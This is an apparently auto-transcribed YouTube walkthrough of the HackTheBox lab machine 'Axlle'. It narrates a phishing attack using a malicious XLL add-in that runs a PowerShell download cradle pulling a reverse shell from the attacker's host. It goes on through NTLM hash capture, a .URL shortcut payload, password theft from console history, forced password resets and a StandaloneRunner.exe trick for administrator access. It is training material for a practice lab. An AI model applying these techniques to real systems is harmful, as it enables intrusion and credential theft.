text: what's going on YouTube this is IP I'm doing axle from hack the box which the theme of this box is all about fishing and LOL bins it starts off with creating an XL document which is really just a dll that Excel opens and can lead to code execution even when macros are disabled it's not really that popular nowadays because Microsoft has disabled this add-in by default but that is the path onto the box here you just create that xlll document and then email it to the user they'll open it you get a shell on the box and then from there if you look around at the config you discover an email that indicates people are clicking URL files when they're placed in a directory you may think this is silly but the technique is more commonly used as a l bin to bypass app Locker rules you create a URL shortcut put the

video_id: cAXptAMDXuY

title: HackTheBox - Axlle


text: executable in place of where URL goes and then when it's clicked on it executes that executable and then finally there's another LOL bin with the Windows driver testing tool I don't really know much about it so let's just get into the box and see what happens as always we're going to start off with an N map so- SCC for default scripts SV enumerate version dvv for double rose this gives us things like the TTL OA output all formats put the end map directory and call it axle then the IP address of 1010 11.21 this can take some time to run so I've already ran it looking at the results we have 13 Port ser and the first one being SMTP on Port 25 and the banner tells us it's h mail server and it being on SMTP means that we can send mail I quickly look down the list to see if we have any like pop or IMAP or things like that where you could receive

title: HackTheBox - Axlle


text: mail I don't see it so I'm thinking at some point I have to send mail to this box it is telling me the host name right now of this mail server is Mainframe but let's go on and see what else we see so we have DNS on Port 53 and that's simple DNS plus so whenever I see that one I also scan down confirm yes that is Windows Active Directory and it's telling us the domain name of the box is axle htb so let's go ahead and add the store host file so do sudo V host and then we can add 10 10 1121 axle HTP save that and let's see what else we have um HTTP on Port 80 that is IIs and we also let's see see the title is axle development and nothing really else sticks out so let's go on and this looks like standard like active directory things end map is telling us the host name is Mainframe and that's about it right so we could confirm the host name is Mainframe like net exec so we can do net

title: HackTheBox - Axlle


text: exec SMB 10 10 11 21 and while that runs let's just add main frame and then Mainframe axle HTP and then I always like just testing like um Regular user accounts to see if we ever get like an anonymous access so we can do a user that doesn't exist I don't think I exist on this box at least I never remembered signing up for this domain and we get login failure uh you could try like guest as well to see if this gets you in chances are it won't just looking for ways to get the server to say authenticated so at this point I'm going to move on and check out the web server because I don't think there's really anything else we can do maybe we can look at the shares but I don't think so nope so let's go over and try 10 10 1121 and I would also try like all the domains do like a um virtual host brute

title: HackTheBox - Axlle


text: force and things like that but in the interest of time I'm not going to show it because it doesn't really reveal anything but whenever you get like domains I always think of that so I try like a gobster vhost scan on axle htb see if anything comes up um looks like our website is down for maintenance if we have any outstanding invoices please email them to Accounts at axlebacks have been disabled due to a security posture and this step becomes relatively tough because um the step's going to be creating an xll file which is kind of hinted in the machine's name of axle with um XL there um this is kind of spelled odd I don't think that's an actual word but it's kind of hinted at with that and um this used to be a much bigger attack but Microsoft has um disabled this by default so it's no longer nearly as big but if you did a lot of Googling around like um let's see

title: HackTheBox - Axlle


text: Excel X um execution without macro maybe find techniques around around this you'd have to look um search Google eventually you find a way to um execute macros without a macro um I don't know exactly the correct word I'm just going to add XSL let's see here is a good blog post two years ago so macro 4.0 is dead long live the XL and this was like a addin format where Excel would just magically execute essentially a DL so we'd craft a dll and then give it the XL extension and Excel would just open it right and here if we keep scrolling down it'll tell us kind of how to create it so we can see their source code um they just give it this function the Excel Auto open because Excel is going to call this exported function and they're downloading a payload and then doing run dll to execute it so let's see do they talk more about

title: HackTheBox - Axlle


text: it there's probably other good things in this blog post but once you know the XL is a way to execute code with Excel this next part becomes somewhat Easy A lot of people I think went through like Visual Studio to install it because that's what a lot of the guides say but I'm going to show just how doing it from Linux because doing it from Visual Studio is a bit of a pain because you have to like install plugins and whenever you use Visual Studio there's just um a lot more configuration than just using um um gccc so let's do XSL GitHub payload maybe this will show up one this is a payload generator I don't think I've ever seen this I don't want to use that let's not use an autogenerating payload this one's talking about Excel I think um let's see addin Library GitHub uh let's do windows. payload generator

title: HackTheBox - Axlle


text: let's go here maybe there is something here this post is also talking about it see Packers containers see X XL GitHub payload maybe if we do GitHub dll because that's essentially what we'll end up making um this looks good and here's a post that gives a sample um C code that we can use they give Windows instructions but we can always just compile this on Linux and it becomes somewhat easy so let's do VXL doc paste this in and then let's see we probably want to change the when exact method because we don't want to open up notepad we want to um let's execute Powershell so we'll do Powershell d see and then I'm going to create a web cradle and the reason why I love doing web cradles is we know if it gets like execution if we just have Powershell send a reverse shell right away um we don't know like maybe

title: HackTheBox - Axlle


text: like something blocked the reverse shell maybe an airus web whatever like the reverse shell is not going to work nearly as much as just a web request so I like starting with the web request because that confirms we have code execution so let's do um V cradle and then we want to say new object net. web client download string then HTTP 101148 Port 8,000 we'll call it rev. PS1 okay and now we have to create that rev. PS1 so I'll copy user share um Nang then shells invoke Powershell PCP online. PS1 uh we probably should name that just rev.

title: HackTheBox - Axlle


text: PS1 and then clean this up a little bit change the IP so we do 10 10 148 Port 90001 okay so now we have the Powershell in place to well the web cradle I guess I should say okay start up the web server and then what we have to do is um cat the Cradle I convert DT utf16 little endian base 64 w0 and this is going to get us um a way that Powershell can decode it because Powershell likes utf16 little endian that's why you need that format if you don't have it then it just won't work um you just one of those things you get used to after doing this for a while so now when the Excel opens it's going to execute this Powershell command so all this code is doing um standard dll things um there's actually no code here it's just going to no matter what return true but if Excel calls the um Excel Auto open function then it's going to perform when exact so this hopefully

title: HackTheBox - Axlle


text: will just magic work so to compile this um they gave kind of instructions but this is using Windows um Linker uh LD I think is specifying a dll but we're going to use um GCC so we can do x86 um 64 w64 Min GW GCC if you don't have this um you can probably install it I think it's probably GCC MW or mww 64 um search MW w64 yeah I think this is what I install to get it MW w64 so we're going to run this specify the file then I'm going to do D shared so it makes it as a library and then we do- o and I'm going to call this um test. XL no file windows. and and that's because libraries normally don't like capital letters on Linux on Windows it doesn't matter because NTFS is not a Cas sensitive uh file system Linux is so that's why we have to lowercase that so now we have that um file by do file test x l we can see it is a windows dll so

title: HackTheBox - Axlle


text: now we want to upload this so I'm going to use a tool called swwa so we'll do swwa the IP address of the SMTP server is 1010 1121 um the user is just going to be we'll do ipsec at Axel htb and then the target let's see what is the email we send it to accounts ax.

title: HackTheBox - Axlle


text: htb okay and then we need to attach a file so we'll do attach testx X LL so we send this and then once this gets sent um we probably should do our L WAP nvmp 901 so we stand up our listener it is still sending so that has been sent and then I want to monitor this probably for let's see 60 seconds to see if they oh that was near instantly so almost immediately we get a hit on rev. PS1 and we have a poers shell shell if I do who am I we can see we gideon. haml so the very first thing I would probably do is try to get this user's hash so I'm going to um open up responder so let's do pseudo responder I don't think I need dasp we can do I ton zero so this will start at listening on all interfaces and then I'm just going to do a GCI 10148 um share file doesn't have to exist all we want it to do is make that request so now we have a ntlmv2 hash of

title: HackTheBox - Axlle


text: this user um I don't think it cracks I'm not going to bother sending it over to the Kraken I just wanted to show um something I typically would do so we'd get this we can kill the server V hashes and we'll paste this and go on so the next thing I do whenever I land on a server that has a website I always like examining that website because um there may be other sites This Server host it may also be a case of um like database credentials in a config file I don't know so let's do a and I do notice app development is a directory if we go CD app development Dr we can't really list permissions um let's come back to that in a minute so we'll do inet Pub and then let's see we have dubdub dub root and there's here um just the standard page if I do type index.html let's see ax this is going to be the website right so since it's just a static page I'm going to kind of ignore it there was a testing so if I go

title: HackTheBox - Axlle


text: into testing nothing there I think temp is a standard one um if we look here there is at pools I don't think this is anything special no there is not let's see uh let's go back Tob du root can we Echo a file here so test.

title: HackTheBox - Axlle


text: HTML uh no we do not have right access we can go in other directories to see if we can write files um can't write there assets there's probably like a command we could do to find writable I know if we had like access check uploaded to the Box we could but doesn't look like we can write here I'll just try one more uh nope nothing there so let's go back to the route and I want to look at this um app development directory specifically I want to see like who's the owner of it because we could go into it but didn't list any files so maybe we just don't have any permissions and if we see who owns it maybe we can Target that user like it gives us an idea doing a d-q doesn't show me anything um let's see cmd.exe cdq okay so what's going on there let's just do cmd.exe CD you can see the output of di normally has like this volume and label c number

title: HackTheBox - Axlle


text: whatever if I just do dir it doesn't have that so what's happening here is Powershell is seeing dir and then running some like Alias probably like uh get child items is what it's running instead of dir so that's why that slq command didn't work because I'm not actually executing D.E so when I specify cmd.exe C and Works um I'm actually executing um. exe so if you have shell commands that don't really work the way you're thinking about it in Powershell um chances are you just need to run cmd.exe first to get out of Powershell so this shows us the file earners and we can see we can't query the earner of app development if we ran a command like ickles let's see I cackles with this we can't we could try like um the Powershell get ACL and that also fails if we do get ACL let's do a directory that we know we can write let's do inet Pub uh we have stuff

title: HackTheBox - Axlle


text: there and then I probably do like a select star and let's see I want to get access to string so normally my go to with get ACL is Select access to string and then format list and this tells us who can access the directory right so that's normally what I do but we can't really get into app development so at this point um I probably would just run sharp hound and look at Blood Hound it doesn't really give us too much information um so I'm not going to do that right now it flows better with the video if we did a little bit later so the next thing I'd be thinking about is um we have hmail server and if we go into the hmail config maybe there's a credential there so that was my next thought so let's go in um program files x86 because that's generally where um HMA server is I do this PR grid to um

title: HackTheBox - Axlle


text: just a shorthand way because this has spaces and bad characters it's just easier to type this and that puts me in the directory if I did program one it would go to program files the first instance and um go in this one right I think this is like Windows short naming convention I forget exactly what it's called but that's just a habit I always do so we look at this we find hmail server so let's go in here and then let's see we have where would the config be config I think is in bin as odd as it sounds um let's see we have the lense exe ini this is the file we want so if we type this out we do have potential hashes I don't think these crack um we have password encryption enabled this is probably an md5 sum if I had to guess um Echo dasn wc- C yep 32 characters probably a md5 sum but this is what put me down

title: HackTheBox - Axlle


text: into this um directory right the next thing I ran was a tree to show me all the files and I want to say um tree slf shows files yes it does and if we look there's something that does stand out right and it stood out if we just looked at the directories but files it definitely stands out more um a lot of these files are just the default like this is installation but if we go in data we see axle htb accounts attachments D Matrix to F and then we have this file an email so the database of hmail server is just flat files and it looks like we can view them so we can look at an email from D Matrix so let's check that out so I'm going to go into Data then let's go into Axel htb then D Matrix and then I think it was 2f and we have this email file so let's do typ star.

title: HackTheBox - Axlle


text: EML and let's see um we have the email from Webbs so we have a group here the subject is osint application testing it's going to a bunch of users so hey everyone the webdev group is doing some development to figure out the best way to automate the checking and addition of URLs on the OSN portal we ask you to drop any web shortcuts you have into the cant inet Pub testing folder so we can test automation out yours in Click worthy URLs so it looks like we to drop a web shortcut so if we Google um what is a web shortcut let's see if this comes up with anything 132 app let's see shortcut desktop shortcut to a website let's see shortcut file text based file formats such as lnk so it looks like a um web shortcut file ends in. URL and does it give the format of it see let's check this blog post out URL and a

title: HackTheBox - Axlle


text: nutshell there it is so we give it the name like internet shortcut and then we got URL and then this and the URL also supports files um I don't think you can do a file over http P but you could over SMB or on local dis so I want to create a exe real quick because that's going to be easier than hosting ANB server to uh deliver it so let's go and go back to our payload so I'm going to CP xl. C to I'm just call it main.c and then let's see we can keep this we don't need that we can just do what is it int main like that and then we can delete all this dll nonsense okay and then let's do what was it x86 64 um w64 mwc GCC right yep I think this is it so we'll call it main. C- o um we'll call it shell. exe and you can also use like um msf Venom or something to generate an executable um since we already have pretty much the GCC and all

title: HackTheBox - Axlle


text: the code here I figured this would be a fun thing to show right you just have to create an executable there's a lot of ways you could do this so let's move shell. exe to dubdub duub so we can download it so let's go CD back/ program data and then we can do curl HTTP 10148 8,000 shell. exe like this awesome and it wants us to drop a shortcut into this folder so let's do this so we shortcut we'll say cprogram data shell.

title: HackTheBox - Axlle


text: exe and in Powershell this um back tick n is new line um it's not back sln or how you do it on Linux to do new lines in Powershell is back tick and then the special character so we do set content path so we can do this and was it inet Pub testing um we'll call this test. URL I guess and then we give it the value of shortcut then let's do our RL WP n cvnp 901 create this di wow that was instantaneous I didn't even get to like see if the shortcut created if we do a who am I we are now dmatrix so we're a different user now over here we were Gideon um Hil so let's take a look at exactly what this user can do so I'm going to run a who am iall and the the main thing I'm looking for is what groups they're a member of so we can see they're a member of employees they're also a member of web devs and that looks to be it right and we could also run Shar pound but I do

title: HackTheBox - Axlle


text: want to show a few more things before we do it um I do a drq again on this directory again we have to do cmdc first and even though we're member of webdev we can't go in the app development directory right right so um the next thing we go into our profile I think I just do CD with a today like that and then if we look at desktop Let's see we have user. text um if we ran wipes we'd get a password because there is a poell console history and wipas does a good job at showing that instead of just downloading winp and running it I'm going to show a different command that I like doing because it's a bit more versatile right if you're in a director and you think there's sensitive files you can run a get child item I shortcut it with GCI and then we can specify recurse force is going to show hidden files so this is going to go into every directory under D

title: HackTheBox - Axlle


text: Matrix we could also do like Das path period if we wanted to specify this path or a different one but if you don't specify path your current working directory is used and then we can do include and this going to include files so I want to include let's see star. text star. any um star. XML what's another one star. CFG um that should be fine you can specify what extensions you want and then what we do is if we hit enter it'll show all those files right but I'm going to then do a select string and then we can say password so now we're going to grab all the files that came back and then essentially grip them for the word password and we can see we get two hits back we have um SEC password convert to secure string this and then PS credential D Matrix password right so we have the user um getting the password stored because they

title: HackTheBox - Axlle


text: had Powershell console history enabled and this is a file I'd always like checking um I think it's there by default um but yeah so I think that's a pretty cool thing doesn't really get us anything it's kind of just I think a save point in the Box maybe this user can win RM uh can we get on the box as this let's see uh let's do um evil wi rm- u-i 1010 1121 DP uh we got to go grab that password if we can't win around I don't actually know what this password does um maybe it helps to run Bloodhound if you didn't want to just upload Shar hound. exe um it gives you another way to possibly get on the box uh but I like just running sharp hound. Exe on the box nowadays um you can run blood hound. py but either works um I guess the last video we did sh pound so let's do the um python ingester I guess this time around doesn't look like we can do evil winm so

title: HackTheBox - Axlle


text: this is just probably another way to um ex you commands through like net exec so let's do net exac SMB that- u d Matrix DP like this did I get the username right let's see does this credential work yes it does so we should be able to run um blun Hound this way so let's do opt let's go blood hound. py I'm going to run a get Branch to make sure I'm on the community addition branch of this I am so now let's run this um let's see blood hound. py forgot all this Flags off the top of my head let's see I think it's going to be probably D Matrix colon the password let's try this D Matrix where is that password there it is like that at let's do Mainframe axle htb Let's see we got you got to specify a few Flags DC um Mainframe dnst TCP name server 1010 1121 is that going to work let's see we probably have to specify username and password with- and

title: HackTheBox - Axlle


text: whatnot d-p like that and then let's see op wonder if we just run it like this there we go um a lot of impacted scripts like the host name a different way see DNS is timing out king 10 10 1121 let's see let's get rid of dnst TCP DNS still timed out and it's doing a SRV request and let's see I think that's because we didn't specify the domain so we'll do dasd ax l l e htb and there we go this looks better um I guess we have to do the fqdn the fully qualified name for that I bet if we left this DC out it'll automatically qualify uh discover that there we go it does Mainframe axle hdb before it was just doing main frame and then couldn't connect to ldap because it did not know the rest of this so there we go we have it um The Blood Hound dump should be right there awesome so now let's go and um start up blood hound so I'm going to

title: HackTheBox - Axlle


text: go up uh blood hound and then we want to go in let's see examples Docker compose and then it's like let's see what is it Blood Hound Port there we go so when running Blood Hound um if you specify this environment variable before you run it it's going to bind Blood Hound on that Port by default it is 8080 and if you have burp SED up it's just going to error and it always sucks because um it's not obvious exactly how to change it so always going the habit of always doing this the other thing is my build is really old chances are you don't have a Docker Dash compose you probably have a Docker space compose um but yeah this will get blood hound up and running and then once it is we'll be able to go and log in it does take a little bit to log in and I'm not sure if I can just upload these Json files manually like if I can just specify Json or if I have to zip this up first and

title: HackTheBox - Axlle


text: then upload it so we'll find out um I don't have a lot of experience with this Blood Hound Community Edition but um we'll see what happens right let's do Local Host Port 8888 see if it's up yet it is not um it is still starting up refresh there we go um spam at example.com and then my default password was 2024 this should let us log in maybe there was an exclamation point at the end of it can't remember if I did a exclamation point or not I'm guessing yes or maybe Blood Hound wasn't fully um running because this login is taking its sweet time uh my whole computer starting to go slow so I'm guessing Blood Hound is still spinning up don't save I probably should just save my blood hound password probably bad password there hopefully this one logs in yep it does so now we get logged into blood hound

title: HackTheBox - Axlle


text: let's go over to our Administration tab so we can go to whoops upload files is what I wanted and then let's pfy HTP axle oh no they're just in opt blood hound. right now go in this directory specify these Json files upload them all upload to continue it looks like it does work all files have been uploaded for inest close and it is ingesting so I'm going to pause a video because this does take about a minute and when it's completed we will go look at the results okay we are now marked completed so if I go over to explore um hopefully we see data refresh okay sweet so let's go and look at our users real quick if I go back to my shells we have D Matrix and Gideon Hamill so let's look at both these users so we can copy this search on Gideon then let's just Mark Gideon as owned and looking at outbound and inbound control we can't really do that much with Gideon we could look at what

title: HackTheBox - Axlle


text: they're a member of um accounts authenticated users domain whatever nothing too interesting so let's look at the next user um D Matrix we can Mark D as earned and there should be an outbound object control so maybe I did not capture everything with blood hound that I wanted to um shoot let's go back let's do RM star.

title: HackTheBox - Axlle


text: Json or maybe it only did one of these I probably should have deleted that right away let's run this again we'll do d c all for all collection methods and and see if we get anything else um because I think we should have outbound object control for this user let's see do we get anything web devs so a member of webdev uh let's see we can see the other members nothing there let's go to Cipher queries and where's shortest path shortest path to domain admins run this we don't have anything let's see do we have more Json files we have more Json files now we did see all so I'm guessing the default one didn't collect some things um I forget exactly what it missed I don't know what file it would be in but let's just go back and ingest more data so let's do upload files and upload everything upload upload okay so I'm going to pause video

title: HackTheBox - Axlle


text: again and we'll wait till this one's complete um it just really sucks if you run Blood Hound you don't know what you're supposed to be seeing and you forget to do the dash C all because you're going to miss a lot of things I think the reason why it doesn't collect it by default is because I mean probably opsc reasons and also on large domains it can take a while to collect everything but I always like um always collecting as much as possible so that is still marked as ingesting it'll probably take another 30 seconds so I'm going to go ahead and pause the video and let this finish and now it's marked complete so let's go look at explor to see what we have if we rerun this query we have a lot more data right so we can see let's see anything interesting users domain administrator uh key admins I don't think really anything is interesting from here we run it again do we get anything

title: HackTheBox - Axlle


text: else nope uh what is this oh administrator so let's go back to our users and let's look at Gideon make sure there's no outbound control oh Gideon does have outbound let's see why is it marked on I'm on web dev still Gideon there we go only inbound control there is no outbound if we look at inbound we can kind of just see um the default things like oh administrators can write on this user so nothing too interesting there let's look at D Matrix click here and look out outbound control uh we can see because D Matrix is a member of web devs we can do Force change password on baz humph or Jacob greeny if we click on Force change password look at Windows abuse it tells us how to do it so we can do the SEC password command to set the password and then the next one to update it and this the same thing that was in the console history so we could also

title: HackTheBox - Axlle


text: copy and paste out of there so let's go back to D Matrix and do this SEC password command and the next thing we do is a set domain user password we can skip this because um we're already the user we want to this whole cred step is if we want to run the um password change as a different user but since we're running it as the user we're logged in as we can do set domain user password but this is in power viiew so let's go to GitHub real quick to get power viiew so I'll just do GitHub power viiew and let's see I want to say it's this repository it may be a different repository um pow Mafia does this have like a development Branch let's see this is so this is the repository I normally use so we can do a get clone here so let's just do um get clone on power exploit we wanted the dev Branch um let's go in power

title: HackTheBox - Axlle


text: exploit get check out Dev get pull does that put us in Dev okay we should have the dev Branch now hopefully uh let's go to Recon and then where is Power view oh right there there powerview PS1 let's put this in dubdub duub okay so now we can do new object net. web client download string HTTP 10148 or 8000 and where's the casing capital P capital V powerview PS1 okay now this should unlock the set domain user cred uh command so we can do set domain user identity and the user is Jacob greeny and then the account password is SEC password there we go and let's do net exact SMB 1010 1121 Jacob greeny password of password 1 two 3 exclamation point I think it was and we can have a success so let's check when RM that fails let's see what can these users do member of execution inbound let's see go path

title: HackTheBox - Axlle


text: finding do Jacob greeny to let's do the main frame path not found baz Humphries no path found I swear when I did this before I saw like an edge that said one of these users could win RM um did something change so that's still the password I'm going to try evil wi RM real quick wi rm- I 10 10 1121 U Jacob greeny P we'll put this password in I don't think this is going to work since crack map exec said no but do want to try this I that shocking to me I guess my net exact version is probably out of date um I've been wanting to update for a while I'm just putting this here so you can see the version um but I have to update my whole parro OS maybe I'll do that next week and then put out a new new um anable script for getting back to where I'm at I can't update net exec because I don't have the

title: HackTheBox - Axlle


text: latest version of python if I try to update then it fails so not sure what's going on but obviously we can win orm um I do want to take a step back because I don't like that uh let's see I'm G to run sharp Hound I think cuzz I don't know why blood hound isn't showing the winrm Edge like I should be able to see that so let's go back to um where do we run Shar pound we ran from D Matrix we did it with the python though let's see I do a get pole it's up to date okay um I should have sharp pound in what box we just do blazered that'll probably be there so let's grab it out of there uh let's go up to directories dubdub dub CP htb um Blaser eyes dubdub duub sharp hound.

title: HackTheBox - Axlle


text: exe and then we'll run it program data curl HTTP 10 1048 8000 sharp hound. EXE Shar pound exe to download it cound exe collection all okay go back to winrm this will just give us an easy way to download it program data then we can download the zip and we'll get an upload and hopefully I see the edge um because I'm baffled why I don't see winrm and blood hound and also that net exac is giving denied that is doubly odd so let's do upload files can go htb where's this box name it is axle blood hound. zip upload okay so it's going to take about a minute or two to inest so I'm going to pause the video and we'll come back when it is complete okay Moment of Truth we have now ingested that data so I'm going to go to explore uh let's do search baz Humphrey execution privilege I swear that was not there before with just the

title: HackTheBox - Axlle


text: um python data let's check the other one what is it uh not baz Humphrey um Jacob okay execution privilege yes it is there so I'm not sure exactly what's going on with that python ingester um I'm guessing it just hasn't been updated but we can see this definitely does work so um definitely recommend using sharp pound when you can because that's going to be the more accurate that's the more Ed version of ways to collect data right but now that we have that let's move on and we are a member of or with Jacob greeny if we do Who Am iall let's see what groups we're member of we're a member of app devs so if we remember that one directory before the app development chances are we can access this directory right um we have to do cmd.exe c like that there we go we can see a user does own this the buil-in administrators if I run that get ACL command we did

title: HackTheBox - Axlle


text: before let's do get ACL um select star to get that property name uh I don't know why that's taking a while that should be instantaneous there we go access to string oh we can see it here right but nor normally I would do select whoops not that uh select access to string then format list and we can see um appdev can read and execute and synchronize this directory whatever synchronize means so let's go into the directory so we'll do app development dir we got KB filter di here there is a read me so let's look at this read me and let's see this looks let's see I don't know if this is created for the box or not but this looks like a standard REM me um this is probably a note from the box author I have automated running cin program files Windows kits 10 testing Standalone testing internal x64 Standalone tester

title: HackTheBox - Axlle


text: or Standalone runner. exes system to test and debug this driver so we want to see exactly what this program is so I'm going to do a dir um let's do GCI dforce is there like a dogit directory there is not um KB filter. SN is this a thing driver samples KB filter read me so this is a sample driver this is looking somewhat similar to what we saw um so we want to look at uh probably public exploits for something right and I'm thinking we should look at where was the note put in um Standalone run.exe so I'm going to do Google around this so let's look at Standalone run.exe first post let's see is this sending us to a place let's go here looks like a better way to read it than screenshots and there we go stand loone Runner exe has a utility included in the Windows driver kit used for testing and

title: HackTheBox - Axlle


text: debugging drivers on window window systems so we know there's a note that is um saying it's automatically running it and this is on a living off the land binary so there's probably a way for us to um drop a file next to this and get command execution so I'm going to go in this directory real quick so let's do CD like that oh man that is killing me uh CD star let's go in like that there we go um what was the directory after internal x64 CD x64 okay so according to the readme this program is being executed so let's see investigating the source I think there is something that says there is something at the bottom like a tldr if you want to test this directly without reading all the details jump here okay so we need this to be in a directory we create a file named ReBoot rsf with my tester and true and then we create a file rsf rsf inside of my tester

title: HackTheBox - Axlle


text: slork and then create a file CMD dotex in the execution directory and fill it with the contents okay so let's try this um we want to create a file like this let's see create a file and put it in that I'm going to go in program data to write this just because there looks like there's a scheduled task running and a I was hoping windows will let me go to previous directory like that but because there's a schedule task running I want to create all my files first and then I'll copy them over here because I can do that a bit quicker than creating them manually right so we need to create a file named ReBoot rsf and have this as the contents so we'll do Echo this to what was it reboot rsf then we want to put true so Echo true reboot rsf okay so if we type that file now we just have those contents we need to create a directory my tester which is

title: HackTheBox - Axlle


text: this and then slw working so makeer my tester makeer my tester working okay create a file named F rsf and put it in that directory so we'll Echo nothing to my test dur working rsf rsf okay and then create a file named cmd.exe C colon program data shell. exe oh let's see if we can just run a Powershell command real quick so if I cap my main.c that's going to get me this whole Powershell thing so let's just see if we can put this in command.

title: HackTheBox - Axlle


text: text to command. text okay that looks good I believe so now let's go and get the directory wanted to copy to which is here so we'll copy this and we can say copy command. text to that directory uh we need to put that in quotes because they're spaces uh copy reboot rsf to this directory and then we want to do copy um was it my test D to this and I'm also going to specify recurse so it copies all the contents and we should start up a listener probably should have done that before let's go into this directory now and take a look so we have reboot rsf command. text we got my tester uh let's do GCI my let's just run tree so we we can do tree slf uh di my test D working it did not either write the file or copy it okay that looks better um all the files got deleted and we don't have a shell I'm going to guess it did not run

title: HackTheBox - Axlle


text: that PO shell command let's do copy program data reboot rsf okay we have that um let's do Echo cprogram data shell. EXE uh we want to put that actually as command.

title: HackTheBox - Axlle


text: text like that there we go let's see did we do everything correct reboot rsf that's there we have command. text that's pointing to our executable and if we wait about 60 seconds we should get something send this this to pan four so now we have everything on the same pane di file still exist I'm going to do the gutsy thing kill this so we can quickly split this okay and let's see it's not cleared oh there we go we have it hit now um so I guess who am I and we administrator so there is a schedu task running that is um opening the Standalone run.exe to get the shell right so this would let us get the um root flag since we were administrator there's one thing I want to do real quick and I want to see if we could actually um use that PO shell command did we screw something up before so I'm just waiting for all the files to cleaned up and I'm going to do the same thing again

title: HackTheBox - Axlle


text: so let's do um Echo and I'm going to put my oneliner in so if we cat xl. C let's copy this let's see I'm going to do cmd.exe c and we will put this in single quotes like that D type command. ex txt that looks good I wish there was quotes in it though um the next thing we need to do is copy that rsf program data like that and then Echo nothing to what is it my tester working rsf rsf was it my tester it is tree DF slf command reboot rsf that looks good so instead of waiting for rout to execute this I'm just going to execute it so Standalone run.exe let's see if we get a sh right away it's taking a while it says it takes about a minute right on this it says um once you execute wait 60 seconds and we should see the popup so hopefully in the next like 40 seconds we see either the command come back and nothing happens or it hits up and gives us a

title: HackTheBox - Axlle


text: shell if it gives us a shell we probably just like weren't listening or we did something odd where um administrator didn't give us a shell I'm guessing this is not going to work um maybe command.

title: HackTheBox - Axlle


text: text maybe you can't specify arguments so maybe that's why our Powershell command just didn't work maybe if we pointed to like a bat file it may work I'm not sure but um executables definitely do seem to work but um yeah I'm going to pause the video and we'll come back probably in 30 seconds okay um it was pretty much soon as I ended the video the shell came back and we didn't get anything so I'm guessing that command. text doesn't support spaces and that's what's screwing everything up so um yeah that's going to be the video I just want to make sure um the old way worked so let's put command. text there and now we need the um reboot rsf I'm just going to mainly do this C colon program data reboot rsf do here dir that looks good type command.

title: HackTheBox - Axlle


text: text okay Standalone run.exe uh I'm just going to um sleep for 2 minutes and we'll see if we get a shell I just want to double check that everything I did was standard and then actually make sure the administrator user can read the flag since I did not show that so uh that looks good we have reboot rsf command.

title: HackTheBox - Axlle


text: text rsf rsf so okay I'm going to pause the video and we'll come back probably in a minute or two okay we have the shell again as administrator so if we go in users administrator desktop we should be able to see root. Tech so with that being said that's going to be the video hope you guys enjoyed it take care and I will see you all next time

title: HackTheBox - Axlle